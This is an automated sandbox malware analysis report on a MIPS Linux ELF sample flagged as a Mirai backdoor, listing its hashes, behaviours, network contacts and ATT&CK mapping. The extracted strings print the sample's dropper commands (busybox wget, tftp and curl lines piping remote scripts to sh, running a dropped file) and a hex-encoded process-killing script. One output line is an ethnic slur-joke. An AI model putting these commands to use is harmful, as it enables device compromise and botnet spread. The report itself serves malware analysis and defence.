Edit tour

Linux Analysis Report
nabmips.elf

Overview

General Information

Sample name:	nabmips.elf
Analysis ID:	1643387
MD5:	8dc55159bc925edf47b86787bb8cbc43
SHA1:	b5e7371acdcccd085f6bd427a92c60620ef240e2
SHA256:	ef0614ef234caf95a76ac8d56fa250e042594804188df1cc6aefe7770f13baec
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643387
Start date and time:	2025-03-19 20:05:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmips.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/117@24/0

Runtime Messages

Command:	/tmp/nabmips.elf
PID:	6225
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

nabmips.elf (PID: 6225, Parent: 6138, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/nabmips.elf

nabmips.elf New Fork (PID: 6227, Parent: 6225)

nabmips.elf New Fork (PID: 6229, Parent: 6227)

nabmips.elf New Fork (PID: 6234, Parent: 6227)

nabmips.elf New Fork (PID: 6235, Parent: 6227)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:45248 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.23:52078 -> 185.220.204.227:1440

Source: /tmp/nabmips.elf (PID: 6225)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 134.30.52.220
Source: unknown	TCP traffic detected without corresponding DNS query: 43.6.36.162
Source: unknown	TCP traffic detected without corresponding DNS query: 134.30.52.220
Source: unknown	TCP traffic detected without corresponding DNS query: 43.6.36.162
Source: unknown	TCP traffic detected without corresponding DNS query: 40.197.2.42
Source: unknown	TCP traffic detected without corresponding DNS query: 40.197.2.42
Source: unknown	TCP traffic detected without corresponding DNS query: 183.25.100.68
Source: unknown	TCP traffic detected without corresponding DNS query: 183.25.100.68
Source: unknown	TCP traffic detected without corresponding DNS query: 96.229.246.119
Source: unknown	TCP traffic detected without corresponding DNS query: 96.229.246.119
Source: unknown	TCP traffic detected without corresponding DNS query: 17.192.137.48
Source: unknown	TCP traffic detected without corresponding DNS query: 17.192.137.48
Source: unknown	TCP traffic detected without corresponding DNS query: 122.197.124.71
Source: unknown	TCP traffic detected without corresponding DNS query: 141.67.245.95
Source: unknown	TCP traffic detected without corresponding DNS query: 122.197.124.71
Source: unknown	TCP traffic detected without corresponding DNS query: 124.163.42.214
Source: unknown	TCP traffic detected without corresponding DNS query: 141.67.245.95
Source: unknown	TCP traffic detected without corresponding DNS query: 124.163.42.214
Source: unknown	TCP traffic detected without corresponding DNS query: 78.204.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 78.204.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 68.188.74.225
Source: unknown	TCP traffic detected without corresponding DNS query: 63.118.57.115
Source: unknown	TCP traffic detected without corresponding DNS query: 68.188.74.225
Source: unknown	TCP traffic detected without corresponding DNS query: 168.222.234.20
Source: unknown	TCP traffic detected without corresponding DNS query: 63.118.57.115
Source: unknown	TCP traffic detected without corresponding DNS query: 21.118.25.201
Source: unknown	TCP traffic detected without corresponding DNS query: 168.222.234.20
Source: unknown	TCP traffic detected without corresponding DNS query: 76.228.2.24
Source: unknown	TCP traffic detected without corresponding DNS query: 21.118.25.201
Source: unknown	TCP traffic detected without corresponding DNS query: 181.142.58.70
Source: unknown	TCP traffic detected without corresponding DNS query: 76.228.2.24
Source: unknown	TCP traffic detected without corresponding DNS query: 181.142.58.70
Source: unknown	TCP traffic detected without corresponding DNS query: 81.192.118.41
Source: unknown	TCP traffic detected without corresponding DNS query: 81.192.118.41
Source: unknown	TCP traffic detected without corresponding DNS query: 60.67.240.209
Source: unknown	TCP traffic detected without corresponding DNS query: 60.67.240.209
Source: unknown	TCP traffic detected without corresponding DNS query: 116.200.90.154
Source: unknown	TCP traffic detected without corresponding DNS query: 116.200.90.154
Source: unknown	TCP traffic detected without corresponding DNS query: 112.89.209.6
Source: unknown	TCP traffic detected without corresponding DNS query: 83.157.78.3
Source: unknown	TCP traffic detected without corresponding DNS query: 112.89.209.6
Source: unknown	TCP traffic detected without corresponding DNS query: 104.208.67.149
Source: unknown	TCP traffic detected without corresponding DNS query: 83.157.78.3
Source: unknown	TCP traffic detected without corresponding DNS query: 104.208.67.149
Source: unknown	TCP traffic detected without corresponding DNS query: 174.190.86.139
Source: unknown	TCP traffic detected without corresponding DNS query: 174.190.86.139
Source: unknown	TCP traffic detected without corresponding DNS query: 87.53.249.80
Source: unknown	TCP traffic detected without corresponding DNS query: 87.53.249.80
Source: unknown	TCP traffic detected without corresponding DNS query: 22.155.66.220

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: nabmips.elf	String found in binary or memory: http:///curl.sh
Source: nabmips.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/117@24/0

Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6234)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1582/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/3088/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1579/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1699/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1335/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1698/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1334/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/1576/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/2302/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/910/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6225)	File opened: /proc/912/comm	Jump to behavior

Source: /tmp/nabmips.elf (PID: 6225)

Queries kernel information via 'uname':

Jump to behavior

Source: nabmips.elf, 6225.1.0000556c26bc5000.0000556c26c6d000.rw-.sdmp, nabmips.elf, 6229.1.0000556c26bc5000.0000556c26c6d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: nabmips.elf, 6225.1.00007fff9909b000.00007fff990bc000.rw-.sdmp, nabmips.elf, 6229.1.00007fff9909b000.00007fff990bc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: nabmips.elf, 6225.1.00007fff9909b000.00007fff990bc000.rw-.sdmp, nabmips.elf, 6229.1.00007fff9909b000.00007fff990bc000.rw-.sdmp	Binary or memory string: r/Q/2!wGx86_64/usr/bin/qemu-mips/tmp/nabmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmips.elf
Source: nabmips.elf, 6225.1.0000556c26bc5000.0000556c26c6d000.rw-.sdmp, nabmips.elf, 6229.1.0000556c26bc5000.0000556c26c6d000.rw-.sdmp	Binary or memory string: &lU!/etc/qemu-binfmt/mips

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nabmips.elf	33%	ReversingLabs	Linux.Backdoor.Mirai
nabmips.elf	30%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	45.147.251.145	true	false	high
ohlookthereismyboats.geek	104.248.47.182	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmips.elf	false		high
http:///curl.sh	nabmips.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
158.157.64.146	unknown	United States	2529	DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	false
39.152.111.211	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
47.227.45.41	unknown	United States	33363	BHN-33363US	false
23.235.198.31	unknown	United States	54641	INMOTI-1US	false
195.222.2.74	unknown	Estonia	3327	CITICCITICTelecomCPCNetherlandsBVEE	false
121.56.179.214	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
177.10.97.41	unknown	Brazil	262848	NajaTelecomunicacoesLtdaBR	false
111.67.110.170	unknown	Cambodia	45348	CHUANWEI-AS-KHRegencySquareComplexBKH	false
163.135.96.169	unknown	Japan	4673	INTERVIANTTDATACORPORATIONJP	false
138.139.36.79	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
65.165.114.198	unknown	United States	1239	SPRINTLINKUS	false
116.200.90.154	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
107.160.127.156	unknown	United States	40676	AS40676US	false
31.51.131.161	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
1.105.18.133	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
158.113.73.224	unknown	United States	49278	NORDEFNO	false
98.151.174.110	unknown	United States	20001	TWC-20001-PACWESTUS	false
36.220.148.39	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
196.244.202.156	unknown	Seychelles	58065	PACKETEXCHANGESE	false
168.200.106.75	unknown	United States	27435	OPSOURCE-INCUS	false
103.156.214.69	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
206.197.71.8	unknown	United States	13649	ASN-VINSUS	false
158.48.218.49	unknown	United States	32577	KROGERUS	false
217.1.39.81	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
16.186.17.10	unknown	United States	unknown	unknown	false
129.130.57.220	unknown	United States	2701	KSU-NETUS	false
165.239.34.175	unknown	United States	11663	SUG-1US	false
66.124.160.87	unknown	United States	7132	SBIS-ASUS	false
94.168.126.234	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
58.56.147.227	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
50.6.67.55	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false
199.207.173.91	unknown	United States	7227	KPMGL-ASUS	false
131.238.112.109	unknown	United States	32234	UD-ACA-ASUS	false
139.53.58.122	unknown	South Africa	3741	ISZA	false
80.46.12.249	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
104.183.52.180	unknown	United States	7018	ATT-INTERNET4US	false
34.43.93.25	unknown	United States	2686	ATGS-MMD-ASUS	false
206.121.120.173	unknown	United States	7018	ATT-INTERNET4US	false
65.106.47.211	unknown	United States	2828	XO-AS15US	false
56.168.79.202	unknown	United States	2686	ATGS-MMD-ASUS	false
104.208.67.149	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
211.165.222.34	unknown	China	9389	UNSPECIFIEDBEIJINGSHENZHOUGREATWALLCOMMUNICATIONCN	false
144.215.244.157	unknown	United States	4158	CITYU-AS-HKCityUniversityofHongKongHK	false
105.32.135.25	unknown	Egypt	37069	MOBINILEG	false
56.190.64.113	unknown	United States	2686	ATGS-MMD-ASUS	false
210.59.130.157	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
78.204.1.1	unknown	France	12322	PROXADFR	false
192.27.83.40	unknown	United States	10355	DSCGAUS	false
117.254.83.68	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
37.153.156.99	unknown	Romania	9204	AS_G-ENTERPRISESEE	false
223.198.159.247	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
212.95.160.249	unknown	Bulgaria	8717	SPECTRUMNETBG	false
98.38.194.248	unknown	United States	7922	COMCAST-7922US	false
43.226.8.56	unknown	New Zealand	133881	RBSPL-AS-APRetracBusinessSolutionsPtyLtdAU	false
109.83.155.242	unknown	Saudi Arabia	34400	ASN-ETTIHADETISALATSA	false
182.240.226.106	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
7.100.4.164	unknown	United States	3356	LEVEL3US	false
141.175.160.230	unknown	France	210040	SALOMONFR	false
193.153.216.220	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
214.128.36.223	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
29.187.242.45	unknown	United States	7922	COMCAST-7922US	false
93.6.220.59	unknown	France	15557	LDCOMNETFR	false
167.6.117.132	unknown	United States	21798	INTERNATIONALDELIVERSUS	false
195.137.177.247	unknown	Germany	48294	CC-ASGB	false
159.126.58.57	unknown	United States	40088	WESTLAKE-CHEMICAL-CORPORATIONUS	false
141.67.245.95	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
60.67.240.209	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
176.34.112.32	unknown	Ireland	16509	AMAZON-02US	false
182.204.128.205	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
17.86.224.131	unknown	United States	714	APPLE-ENGINEERINGUS	false
160.173.111.192	unknown	Morocco	6713	IAM-ASMA	false
188.209.205.96	unknown	Iran (ISLAMIC Republic Of)	50810	MOBINNET-ASAS47823belongstoArvanCloudCDNthatismobinn	false
88.157.233.60	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
188.139.207.132	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
135.96.184.176	unknown	United States	18676	AVAYAUS	false
165.0.67.29	unknown	South Africa	37053	RSAWEB-ASZA	false
96.91.246.24	unknown	United States	7922	COMCAST-7922US	false
